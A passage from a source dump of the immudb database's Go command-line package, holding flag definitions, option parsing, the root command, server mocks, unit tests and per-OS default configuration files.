"override") cl := Commandline{} immudb := cl.Immudb(&immudbcmdtest.ImmuServerMock{}) err := immudb(cmd, nil) require.NoError(t, err) } type plauncherMock struct{} func (pl plauncherMock) Detached() error { return nil } func TestNewCommand(t *testing.T) { _, err := newCommand(server.DefaultServer()) require.NoError(t, err) } func TestExecute(t *testing.T) { quitCode := 0 t.Setenv("IMMUDB_ADDRESS", "999.999.999.999") t.Setenv("IMMUDB_DIR", t.TempDir()) helper.OverrideQuitter(func(q int) { quitCode = q }) Execute() require.Equal(t, quitCode, 1) } func TestImmudbCommandReplicationFlagsParser(t *testing.T) { var options *server.Options var err error cmd := &cobra.Command{ Use: "immudb", RunE: func(cmd *cobra.Command, args []string) (err error) { options, err = parseOptions() if err != nil { return err } return nil }, } cl := Commandline{} cl.setupFlags(cmd, server.DefaultOptions()) err = viper.BindPFlags(cmd.Flags()) require.NoError(t, err) setupDefaults(server.DefaultOptions()) _, err = executeCommand(cmd, "--replication-is-replica") require.NoError(t, err) require.True(t, options.ReplicationOptions.IsReplica) } ================================================ FILE: cmd/immudb/command/commandline.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immudb import ( c "github.com/codenotary/immudb/cmd/helper" "github.com/spf13/cobra" ) // Commandline ... type Commandline struct { config c.Config P c.Plauncher } func (cl *Commandline) ConfigChain(post func(cmd *cobra.Command, args []string) error) func(cmd *cobra.Command, args []string) (err error) { return func(cmd *cobra.Command, args []string) (err error) { if err = cl.config.LoadConfig(cmd); err != nil { return err } if post != nil { return post(cmd, args) } return nil } } ================================================ FILE: cmd/immudb/command/commandline_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immudb import ( "testing" "github.com/codenotary/immudb/cmd/helper" "github.com/spf13/cobra" "github.com/stretchr/testify/assert" ) func TestCommandline_Immudb(t *testing.T) { c := Commandline{ P: plauncherMock{}, } assert.IsType(t, Commandline{}, c) } func TestCommandline_ConfigChain(t *testing.T) { cmd := &cobra.Command{} c := Commandline{ P: plauncherMock{}, config: helper.Config{Name: "test"}, } f := func(cmd *cobra.Command, args []string) error { return nil } cmd.Flags().StringVar(&c.config.CfgFn, "config", "", "config file") cc := c.ConfigChain(f) err := cc(cmd, []string{}) assert.NoError(t, err) } func TestCommandline_ConfigChainErr(t *testing.T) { cmd := &cobra.Command{} c := Commandline{ P: plauncherMock{}, } f := func(cmd *cobra.Command, args []string) error { return nil } cc := c.ConfigChain(f) err := cc(cmd, []string{}) assert.Error(t, err) } ================================================ FILE: cmd/immudb/command/immudbcmdtest/immuServerMock.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immudbcmdtest import ( "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/database" pgsqlsrv "github.com/codenotary/immudb/pkg/pgsql/server" "github.com/codenotary/immudb/pkg/server" "github.com/codenotary/immudb/pkg/stream" ) type ImmuServerMock struct { Options *server.Options Logger logger.Logger StateSigner server.StateSigner Ssf stream.ServiceFactory PgsqlSrv pgsqlsrv.PGSQLServer DbList database.DatabaseList } func (s *ImmuServerMock) WithPgsqlServer(psrv pgsqlsrv.PGSQLServer) server.ImmuServerIf { s.PgsqlSrv = psrv return s } func (s *ImmuServerMock) WithOptions(options *server.Options) server.ImmuServerIf { s.Options = options return s } func (s *ImmuServerMock) WithLogger(logger logger.Logger) server.ImmuServerIf { s.Logger = logger return s } func (s *ImmuServerMock) WithStateSigner(stateSigner server.StateSigner) server.ImmuServerIf { s.StateSigner = stateSigner return s } func (s *ImmuServerMock) WithStreamServiceFactory(ssf stream.ServiceFactory) server.ImmuServerIf { s.Ssf = ssf return s } func (s *ImmuServerMock) WithDbList(dbList database.DatabaseList) server.ImmuServerIf { s.DbList = dbList return s } func (s *ImmuServerMock) Start() error { return nil } func (s *ImmuServerMock) Stop() error { return nil } func (s *ImmuServerMock) Initialize() error { return nil } ================================================ FILE: cmd/immudb/command/immudbcmdtest/immuServerMock_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immudbcmdtest import ( "testing" "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/database" pgsqlsrv "github.com/codenotary/immudb/pkg/pgsql/server" "github.com/codenotary/immudb/pkg/server" "github.com/codenotary/immudb/pkg/stream" "github.com/stretchr/testify/require" ) type ssMock struct{} func (ss *ssMock) Sign(state *schema.ImmutableState) error { return nil } func TestImmuServerMock(t *testing.T) { mock := &ImmuServerMock{} psqlServer := pgsqlsrv.New() mock.WithPgsqlServer(psqlServer) require.Same(t, psqlServer, mock.PgsqlSrv) opts := &server.Options{} mock.WithOptions(opts) require.Same(t, opts, mock.Options) logger := &logger.SimpleLogger{} mock.WithLogger(logger) require.Same(t, logger, mock.Logger) ss := &ssMock{} mock.WithStateSigner(ss) require.Same(t, ss, mock.StateSigner) ssf := stream.NewStreamServiceFactory(1) mock.WithStreamServiceFactory(ssf) require.Same(t, ssf, mock.Ssf) list := database.NewDatabaseList(nil) mock.WithDbList(list) require.Same(t, list, mock.DbList) // Test if calls do not panic mock.Initialize() mock.Start() mock.Stop() } ================================================ FILE: cmd/immudb/command/immudbcmdtest/manpageservice.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immudbcmdtest import "github.com/spf13/cobra" type ManpageServiceMock struct{} // InstallManPages installs man pages func (ms ManpageServiceMock) InstallManPages(dir string, serviceName string, cmd *cobra.Command) error { return nil } // UninstallManPages uninstalls man pages func (ms ManpageServiceMock) UninstallManPages(dir string, serviceName string) error { return nil } ================================================ FILE: cmd/immudb/command/init.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immudb import ( "time" c "github.com/codenotary/immudb/cmd/helper" "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/server" "github.com/spf13/cobra" "github.com/spf13/pflag" "github.com/spf13/viper" ) func (cl *Commandline) setupFlags(cmd *cobra.Command, options *server.Options) { cmd.Flags().String("dir", options.Dir, "data folder") cmd.Flags().IntP("port", "p", options.Port, "port number") cmd.Flags().StringP("address", "a", options.Address, "bind address") cmd.Flags().Bool("replication-enabled", false, "set systemdb and defaultdb as replica") // deprecated, use replication-is-replica instead cmd.Flags().Bool("replication-is-replica", false, "set systemdb and defaultdb as replica") cmd.Flags().Bool("replication-sync-enabled", false, "enable synchronous replication") cmd.Flags().Int("replication-sync-acks", 0, "set a minimum number of replica acknowledgements required before transactions can be committed") cmd.Flags().String("replication-primary-host", "", "primary database host (if replica=true)") cmd.Flags().Int("replication-primary-port", 3322, "primary database port (if replica=true)") cmd.Flags().String("replication-primary-username", "", "username in the primary database used for replication of systemdb and defaultdb") cmd.Flags().String("replication-primary-password", "", "password in the primary database used for replication of systemdb and defaultdb") cmd.Flags().Int("replication-prefetch-tx-buffer-size", options.ReplicationOptions.PrefetchTxBufferSize, "maximum number of prefeched transactions") cmd.Flags().Int("replication-commit-concurrency", options.ReplicationOptions.ReplicationCommitConcurrency, "number of concurrent replications") cmd.Flags().Bool("replication-allow-tx-discarding", options.ReplicationOptions.AllowTxDiscarding, "allow precommitted transactions to be discarded if the replica diverges from the primary") cmd.Flags().Bool("replication-skip-integrity-check", options.ReplicationOptions.SkipIntegrityCheck, "disable integrity check when reading data during replication") cmd.Flags().Bool("replication-wait-for-indexing", options.ReplicationOptions.WaitForIndexing, "wait for indexing to be up to date during replication") cmd.Flags().Int("max-active-databases", options.MaxActiveDatabases, "the maximum number of databases that can be active simultaneously") cmd.Flags().String("config", "", "config file (default path are configs or $HOME. Default filename is immudb.toml)") cmd.PersistentFlags().StringVar(&cl.config.CfgFn, "config", "", "config file (default path are configs or $HOME. Default filename is immudb.toml)") cmd.Flags().String("pidfile", options.Pidfile, "pid path with filename e.g. /var/run/immudb.pid") cmd.Flags().String("logdir", options.LogDir, "log path base dir /tmp/immudb/immulog") cmd.Flags().String("logfile", options.Logfile, "filename e.g. immudb.log") cmd.Flags().String("logformat", options.LogFormat, "log format e.g. text/json") cmd.Flags().Int("log-rotation-size", options.LogRotationSize, "maximum size a log segment can reach before being rotated") cmd.Flags().Duration("log-rotation-age", options.LogRotationAge, "maximum duration (age) of a log segment before it is rotated") cmd.Flags().Bool("log-access", options.LogAccess, "log incoming requests information (username, IP, etc...)") cmd.Flags().BoolP("mtls", "m", false, "enable mutual tls") cmd.Flags().BoolP("auth", "s", false, "enable auth") cmd.Flags().Int("max-recv-msg-size", options.MaxRecvMsgSize, "max message size in bytes the server can receive") cmd.Flags().Bool("no-histograms", false, "disable collection of histogram metrics like query durations") cmd.Flags().BoolP(c.DetachedFlag, c.DetachedShortFlag, options.Detached, "run immudb in background") cmd.Flags().Bool("auto-cert", options.AutoCert, "start the server using a generated, self-signed HTTPS certificate") cmd.Flags().String("certificate", "", "server certificate file path") cmd.Flags().String("pkey", "", "server private key path") cmd.Flags().String("clientcas", "", "clients certificates list. Aka certificate authority") cmd.Flags().Bool("devmode", options.DevMode, "enable dev mode: accept remote connections without auth") cmd.Flags().String("admin-password", options.AdminPassword, "admin password (default is 'immudb') as plain-text or base64 encoded (must be prefixed with 'enc:' if it is encoded)") cmd.Flags().Bool("force-admin-password", false, "if true, reset the admin password to the one passed through admin-password option upon startup") cmd.Flags().Bool("maintenance", options.GetMaintenance(), "override the authentication flag") cmd.Flags().String("signingKey", options.SigningKey, "signature private key path. If a valid one is provided, it enables the cryptographic signature of the root. e.g. \"./../test/signer/ec3.key\"") cmd.Flags().Bool("synced", true, "synced mode prevents data lost under unexpected crashes but affects performance") cmd.Flags().Int("token-expiry-time", options.TokenExpiryTimeMin, "client authentication token expiration time. Minutes") cmd.Flags().Bool("metrics-server", options.MetricsServer, "enable or disable Prometheus endpoint") cmd.Flags().Int("metrics-server-port", options.MetricsServerPort, "Prometheus endpoint port") cmd.Flags().Bool("web-server", options.WebServer, "enable or disable web/console server") cmd.Flags().Int("web-server-port", options.WebServerPort, "web/console server port") cmd.Flags().Bool("pgsql-server", true, "enable or disable pgsql server") cmd.Flags().Int("pgsql-server-port", 5432, "pgsql server port") cmd.Flags().Bool("pprof", false, "add pprof profiling endpoint on the metrics server") cmd.Flags().Bool("s3-storage", false, "enable or disable s3 storage") cmd.Flags().Bool("s3-role-enabled", false, "enable role-based authentication for s3 storage") cmd.Flags().String("s3-endpoint", "", "s3 endpoint") cmd.Flags().String("s3-role", "", "role name for role-based authentication attempt for s3 storage") cmd.Flags().String("s3-access-key-id", "", "s3 access key id") cmd.Flags().String("s3-secret-key", "", "s3 secret access key") cmd.Flags().String("s3-bucket-name", "", "s3 bucket name") cmd.Flags().String("s3-location", "", "s3 location (region)") cmd.Flags().String("s3-path-prefix", "", "s3 path prefix (multiple immudb instances can share the same bucket if they have different prefixes)") cmd.Flags().Bool("s3-external-identifier", false, "use the remote identifier if there is no local identifier") cmd.Flags().String("s3-instance-metadata-url", "http://169.254.169.254", "s3 instance metadata url") cmd.Flags().String("s3-use-fargate-credentials", "false", "use fargate credentials for s3 authentication: true/false") cmd.Flags().Int("max-sessions", 100, "maximum number of simultaneously opened sessions") cmd.Flags().Duration("max-session-inactivity-time", 3*time.Minute, "max session inactivity time is a duration after which an active session is declared inactive by the server. A session is kept active if server is still receiving requests from client (keep-alive or other methods)") cmd.Flags().Duration("max-session-age-time", 0, "the current default value is infinity. max session age time is a duration after which session will be forcibly closed") cmd.Flags().Duration("session-timeout", 2*time.Minute, "session timeout is a duration after which an inactive session is forcibly closed by the server") cmd.Flags().Duration("sessions-guard-check-interval", 1*time.Minute, "sessions guard check interval") cmd.Flags().MarkHidden("sessions-guard-check-interval") cmd.Flags().Bool("grpc-reflection", options.GRPCReflectionServerEnabled, "GRPC reflection server enabled") cmd.Flags().Bool("swaggerui", options.SwaggerUIEnabled, "Swagger UI enabled") cmd.Flags().Bool("log-request-metadata", options.LogRequestMetadata, "log request information in transaction metadata") flagNameMapping := map[string]string{ "replication-enabled": "replication-is-replica", "replication-follower-username": "replication-primary-username", "replication-follower-password": "replication-primary-password", "replication-master-database": "replication-primary-database", "replication-master-address": "replication-primary-host", "replication-master-port": "replication-primary-port", } cmd.Flags().SetNormalizeFunc(func(f *pflag.FlagSet, name string) pflag.NormalizedName { if newName, ok := flagNameMapping[name]; ok { name = newName } return pflag.NormalizedName(name) }) } func setupDefaults(options *server.Options) { viper.SetDefault("dir", options.Dir) viper.SetDefault("config", options.Config) viper.SetDefault("port", options.Port) viper.SetDefault("address", options.Address) viper.SetDefault("replica", false) viper.SetDefault("pidfile", options.Pidfile) viper.SetDefault("logfile", options.Logfile) viper.SetDefault("logdir", options.LogDir) viper.SetDefault("log-rotation-size", options.LogRotationSize) viper.SetDefault("log-rotation-age", options.LogRotationAge) viper.SetDefault("log-access", options.LogAccess) viper.SetDefault("mtls", false) viper.SetDefault("auth", options.GetAuth()) viper.SetDefault("max-recv-msg-size", options.MaxRecvMsgSize) viper.SetDefault("no-histograms", options.NoHistograms) viper.SetDefault("detached", options.Detached) viper.SetDefault("auto-cert", options.AutoCert) viper.SetDefault("certificate", "") viper.SetDefault("pkey", "") viper.SetDefault("clientcas", "") viper.SetDefault("devmode", options.DevMode) viper.SetDefault("admin-password", options.AdminPassword) viper.SetDefault("force-admin-password", options.ForceAdminPassword) viper.SetDefault("maintenance", options.GetMaintenance()) viper.SetDefault("synced", true) viper.SetDefault("token-expiry-time", options.TokenExpiryTimeMin) viper.SetDefault("metrics-server", options.MetricsServer) viper.SetDefault("metrics-server-port", options.MetricsServerPort) viper.SetDefault("web-server", options.WebServer) viper.SetDefault("web-server-port", options.WebServerPort) viper.SetDefault("pgsql-server", true) viper.SetDefault("pgsql-server-port", 5432) viper.SetDefault("pprof", false) viper.SetDefault("s3-storage", false) viper.SetDefault("s3-endpoint", "") viper.SetDefault("s3-role-enabled", false) viper.SetDefault("s3-role", "") viper.SetDefault("s3-access-key-id", "") viper.SetDefault("s3-secret-key", "") viper.SetDefault("s3-bucket-name", "") viper.SetDefault("s3-location", "") viper.SetDefault("s3-path-prefix", "") viper.SetDefault("s3-external-identifier", false) viper.SetDefault("s3-instance-metadata-url", "http://169.254.169.254") viper.SetDefault("max-sessions", 100) viper.SetDefault("max-session-inactivity-time", 3*time.Minute) viper.SetDefault("max-session-age-time", 0) viper.SetDefault("max-active-databases", options.MaxActiveDatabases) viper.SetDefault("session-timeout", 2*time.Minute) viper.SetDefault("sessions-guard-check-interval", 1*time.Minute) viper.SetDefault("logformat", logger.LogFormatText) } ================================================ FILE: cmd/immudb/command/parse_options.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immudb import ( "github.com/codenotary/immudb/pkg/server" "github.com/codenotary/immudb/pkg/server/sessions" "github.com/spf13/viper" ) func parseOptions() (options *server.Options, err error) { dir := viper.GetString("dir") config := viper.GetString("config") address := viper.GetString("address") port := viper.GetInt("port") replicationOptions := &server.ReplicationOptions{} replicationOptions. WithIsReplica(viper.GetBool("replication-is-replica")). WithSyncReplication(viper.GetBool("replication-sync-enabled")) if replicationOptions.IsReplica { replicationOptions. WithPrimaryHost(viper.GetString("replication-primary-host")). WithPrimaryPort(viper.GetInt("replication-primary-port")). WithPrimaryUsername(viper.GetString("replication-primary-username")). WithPrimaryPassword(viper.GetString("replication-primary-password")). WithPrefetchTxBufferSize(viper.GetInt("replication-prefetch-tx-buffer-size")). WithReplicationCommitConcurrency(viper.GetInt("replication-commit-concurrency")). WithAllowTxDiscarding(viper.GetBool("replication-allow-tx-discarding")). WithSkipIntegrityCheck(viper.GetBool("replication-skip-integrity-check")). WithWaitForIndexing(viper.GetBool("replication-wait-for-indexing")) } else { replicationOptions. WithSyncAcks(viper.GetInt("replication-sync-acks")) } pidfile := viper.GetString("pidfile") logdir := viper.GetString("logdir") logfile := viper.GetString("logfile") logRotationSize := viper.GetInt("log-rotation-size") logRotationAge := viper.GetDuration("log-rotation-age") logAccess := viper.GetBool("log-access") logFormat := viper.GetString("logformat") mtls := viper.GetBool("mtls") auth := viper.GetBool("auth") maxRecvMsgSize := viper.GetInt("max-recv-msg-size") noHistograms := viper.GetBool("no-histograms") detached := viper.GetBool("detached") autoCert := viper.GetBool("auto-cert") certificate := viper.GetString("certificate") pkey := viper.GetString("pkey") clientcas := viper.GetString("clientcas") devMode := viper.GetBool("devmode") adminPassword := viper.GetString("admin-password") forceAdminPassword := viper.GetBool("force-admin-password") maintenance := viper.GetBool("maintenance") signingKey := viper.GetString("signingKey") synced := viper.GetBool("synced") tokenExpTime := viper.GetInt("token-expiry-time") webServer := viper.GetBool("web-server") webServerPort := viper.GetInt("web-server-port") metricsServer := viper.GetBool("metrics-server") metricsServerPort := viper.GetInt("metrics-server-port") pgsqlServer := viper.GetBool("pgsql-server") pgsqlServerPort := viper.GetInt("pgsql-server-port") pprof := viper.GetBool("pprof") grpcReflectionServerEnabled := viper.GetBool("grpc-reflection") swaggerUIEnabled := viper.GetBool("swaggerui") logRequestMetadata := viper.GetBool("log-request-metadata") maxActiveDatabases := viper.GetInt("max-active-databases") s3Storage := viper.GetBool("s3-storage") s3RoleEnabled := viper.GetBool("s3-role-enabled") s3Role := viper.GetString("s3-role") s3Endpoint := viper.GetString("s3-endpoint") s3AccessKeyID := viper.GetString("s3-access-key-id") s3SecretKey := viper.GetString("s3-secret-key") s3BucketName := viper.GetString("s3-bucket-name") s3Location := viper.GetString("s3-location") s3PathPrefix := viper.GetString("s3-path-prefix") s3ExternalIdentifier := viper.GetBool("s3-external-identifier") s3MetadataURL := viper.GetString("s3-instance-metadata-url") s3UseFargateCredentials := viper.GetBool("s3-use-fargate-credentials") remoteStorageOptions := server.DefaultRemoteStorageOptions(). WithS3Storage(s3Storage). WithS3RoleEnabled(s3RoleEnabled). WithS3Role(s3Role). WithS3Endpoint(s3Endpoint). WithS3AccessKeyID(s3AccessKeyID). WithS3SecretKey(s3SecretKey). WithS3BucketName(s3BucketName). WithS3Location(s3Location). WithS3PathPrefix(s3PathPrefix). WithS3ExternalIdentifier(s3ExternalIdentifier). WithS3InstanceMetadataURL(s3MetadataURL). WithS3UseFargateCredentials(s3UseFargateCredentials) sessionOptions := sessions.DefaultOptions(). WithMaxSessions(viper.GetInt("max-sessions")). WithSessionGuardCheckInterval(viper.GetDuration("sessions-guard-check-interval")). WithMaxSessionInactivityTime(viper.GetDuration("max-session-inactivity-time")). WithMaxSessionAgeTime(viper.GetDuration("max-session-age-time")). WithTimeout(viper.GetDuration("session-timeout")) tlsConfig, err := setUpTLS(pkey, certificate, clientcas, mtls, autoCert) if err != nil { return options, err } options = server. DefaultOptions(). WithDir(dir). WithConfig(config). WithPort(port). WithAddress(address). WithReplicationOptions(replicationOptions). WithPidfile(pidfile). WithLogDir(logdir). WithLogfile(logfile). WithLogRotationSize(logRotationSize). WithLogRotationAge(logRotationAge). WithLogAccess(logAccess). WithTLS(tlsConfig). WithAuth(auth). WithMaxRecvMsgSize(maxRecvMsgSize). WithNoHistograms(noHistograms). WithDetached(detached). WithDevMode(devMode). WithAdminPassword(adminPassword). WithForceAdminPassword(forceAdminPassword). WithMaintenance(maintenance). WithSigningKey(signingKey). WithSynced(synced). WithRemoteStorageOptions(remoteStorageOptions). WithTokenExpiryTime(tokenExpTime). WithMetricsServer(metricsServer). WithMetricsServerPort(metricsServerPort). WithWebServer(webServer). WithWebServerPort(webServerPort). WithPgsqlServer(pgsqlServer). WithPgsqlServerPort(pgsqlServerPort). WithSessionOptions(sessionOptions). WithPProf(pprof). WithLogFormat(logFormat). WithSwaggerUIEnabled(swaggerUIEnabled). WithGRPCReflectionServerEnabled(grpcReflectionServerEnabled). WithLogRequestMetadata(logRequestMetadata). WithMaxActiveDatabases(maxActiveDatabases) return options, nil } ================================================ FILE: cmd/immudb/command/root.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immudb import ( "path/filepath" c "github.com/codenotary/immudb/cmd/helper" "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/server" "github.com/spf13/cobra" "github.com/spf13/viper" daem "github.com/takama/daemon" ) func (cl *Commandline) NewRootCmd(immudbServer server.ImmuServerIf) (*cobra.Command, error) { cmd := &cobra.Command{ Use: "immudb", Short: "immudb - the lightweight, high-speed immutable database for systems and applications", Long: `immudb - the lightweight, high-speed immutable database for systems and applications. immudb documentation: https://docs.immudb.io/ Setting the logging level and other options through environment variables: - Logging level: LOG_LEVEL={debug|info|warning|error} - The environment variable names for other settings are derived by prefixing flag names with "IMMUDB_" e.g IMMUDB_PORT=3323 ./immudb. Note: flags take precedence over environment variables. `, DisableAutoGenTag: true, RunE: cl.Immudb(immudbServer), PersistentPreRunE: cl.ConfigChain(nil), } cl.setupFlags(cmd, server.DefaultOptions()) if err := viper.BindPFlags(cmd.Flags()); err != nil { return nil, err } setupDefaults(server.DefaultOptions()) return cmd, nil } // Immudb ... func (cl *Commandline) Immudb(immudbServer server.ImmuServerIf) func(*cobra.Command, []string) error { return func(cmd *cobra.Command, args []string) (err error) { var options *server.Options if options, err = parseOptions(); err != nil { return err } immudbServer := immudbServer.WithOptions(options) // initialize logger for immudb ilogger, err := logger.NewLogger(&logger.Options{ Name: "immudb", LogFormat: options.LogFormat, LogDir: filepath.Join(options.Dir, options.LogDir), LogFile: options.Logfile, LogRotationSize: options.LogRotationSize, LogRotationAge: options.LogRotationAge, LogFileTimeFormat: logger.LogFileFormat, Level: logger.LogLevelFromEnvironment(), }) if err != nil { c.QuitToStdErr(err) } defer ilogger.Close() immudbServer.WithLogger(ilogger) // check if immudb needs to be run in detached mode if options.Detached { if err := cl.P.Detached(); err == nil { return nil } } // check if immudb needs to run in daemon mode var d daem.Daemon if d, err = daem.New("immudb", "immudb", "immudb"); err != nil { c.QuitToStdErr(err) } if err = immudbServer.Initialize(); err != nil { return err } service := server.Service{ ImmuServerIf: immudbServer, } d.Run(service) return nil } } ================================================ FILE: cmd/immudb/command/root_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immudb import ( "fmt" "testing" "github.com/codenotary/immudb/cmd/immudb/command/service/servicetest" "github.com/stretchr/testify/require" "github.com/codenotary/immudb/pkg/server" "github.com/spf13/cobra" ) func TestNewCmd(t *testing.T) { cl := Commandline{} cmd, err := cl.NewRootCmd(server.DefaultServer()) require.NoError(t, err) require.IsType(t, &cobra.Command{}, cmd) } func TestNewCmdInitializeError(t *testing.T) { cl := Commandline{} s := servicetest.NewDefaultImmuServerMock() s.InitializeF = func() error { return fmt.Errorf("error") } cmd, err := cl.NewRootCmd(s) require.NoError(t, err) err = cmd.Execute() require.Error(t, err) } ================================================ FILE: cmd/immudb/command/service/commandline.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package service import ( "os" "github.com/codenotary/immudb/cmd/immudb/command/service/config" "github.com/codenotary/immudb/cmd/immudb/command/service/constants" "github.com/codenotary/immudb/cmd/sservice" "github.com/codenotary/immudb/cmd/helper" "github.com/spf13/cobra" ) func NewCommandLine() *commandline { op := sservice.Option{ ExecPath: constants.ExecPath, ConfigPath: constants.ConfigPath, User: constants.OSUser, Group: constants.OSGroup, StartUpConfig: constants.StartUpConfig, UsageDetails: constants.UsageDet, UsageExamples: constants.UsageExamples, Config: config.ConfigImmudb, } s := sservice.NewSService(&op) t := helper.NewTerminalReader(os.Stdin) c := helper.Config{Name: "immuadmin"} return &commandline{c, s, t} } type commandline struct { config helper.Config sservice sservice.Sservice treader helper.TerminalReader } /*type sserviceImmudb struct { sservice.Sservice }*/ // NewSService ... /*func NewImmudbSService(options *sservice.Option) sservice.Sservice { mps := immudb.NewManpageService() return sserviceImmudb{ sservice.Sservice{immuos.NewStandardOS(), viper.New(), mps, *options}} }*/ type Commandline interface { Service(cmd *cobra.Command) } func (cld *commandline) Register(rootCmd *cobra.Command) *cobra.Command { cld.Service(rootCmd) return rootCmd } ================================================ FILE: cmd/immudb/command/service/commandline_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package service import ( "testing" "github.com/stretchr/testify/assert" "github.com/spf13/cobra" ) func TestCommandline_Register(t *testing.T) { c := commandline{} cmd := c.Register(&cobra.Command{}) assert.IsType(t, &cobra.Command{}, cmd) } func TestNewCommandLine(t *testing.T) { cml := NewCommandLine() assert.IsType(t, &commandline{}, cml) } ================================================ FILE: cmd/immudb/command/service/config/immudb.toml.freebsd.dist.go ================================================ //go:build freebsd // +build freebsd /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package config var ConfigImmudb = []byte(`dir = "/var/lib/immudb" network = "tcp" address = "0.0.0.0" port = 3322 dbname = "data" pidfile = "/var/run/immudb.pid" logfile = "/var/log/immudb/immudb.log" mtls = false detached = false auth = false pkey = "" certificate = "" clientcas = ""`) ================================================ FILE: cmd/immudb/command/service/config/immudb.toml.linux.dist.go ================================================ //go:build linux || darwin // +build linux darwin /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package config // ConfigImmudb ... var ConfigImmudb = []byte(`dir = "/var/lib/immudb" network = "tcp" address = "0.0.0.0" port = 3322 dbname = "data" pidfile = "/var/lib/immudb/immudb.pid" logfile = "/var/log/immudb/immudb.log" mtls = false detached = false auth = true pkey = "" certificate = "" clientcas = "" devmode = true admin-password = "immudb"`) ================================================ FILE: cmd/immudb/command/service/config/immudb.toml.windows.dist.go ================================================ //go:build windows // +build windows /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or 